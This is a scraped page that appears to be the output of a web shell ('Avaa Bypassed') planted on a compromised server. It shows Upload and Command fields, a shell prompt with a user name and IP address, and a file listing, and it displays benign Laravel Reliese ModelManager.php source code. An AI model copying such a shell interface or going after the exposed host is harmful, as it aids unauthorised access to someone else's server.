404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.217.204.60: ~ $
<?php

/**
 * Created by Cristian.
 * Date: 02/10/16 08:24 PM.
 */

namespace Reliese\Coders\Model;

use ArrayIterator;
use IteratorAggregate;
use Illuminate\Support\Arr;

class ModelManager implements IteratorAggregate
{
    /**
     * @var \Reliese\Coders\Model\Factory
     */
    protected $factory;

    /**
     * @var \Reliese\Coders\Model\Model[]
     */
    protected $models = [];

    /**
     * ModelManager constructor.
     *
     * @param \Reliese\Coders\Model\Factory $factory
     */
    public function __construct(Factory $factory)
    {
        $this->factory = $factory;
    }

    /**
     * @param string $schema
     * @param string $table
     * @param \Reliese\Coders\Model\Mutator[] $mutators
     * @param bool $withRelations
     *
     * @return \Reliese\Coders\Model\Model
     */
    public function make($schema, $table, $mutators = [], $withRelations = true)
    {
        $mapper = $this->factory->makeSchema($schema);

        $blueprint = $mapper->table($table);

        if (Arr::has($this->models, $blueprint->qualifiedTable())) {
            return $this->models[$schema][$table];
        }

        $model = new Model($blueprint, $this->factory, $mutators, $withRelations);

        if ($withRelations) {
            $this->models[$schema][$table] = $model;
        }

        return $model;
    }

    /**
     * Get Models iterator.
     *
     * @return \ArrayIterator
     */
    public function getIterator()
    {
        return new ArrayIterator($this->models);
    }
}

Filemanager

Name Type Size Permission Actions
Relations Folder 0755
Templates Folder 0755
Config.php File 1.2 KB 0644
Factory.php File 17.71 KB 0644
Model.php File 25.74 KB 0644
ModelManager.php File 1.48 KB 0644
Mutation.php File 742 B 0644
Mutator.php File 1.62 KB 0644
Relation.php File 397 B 0644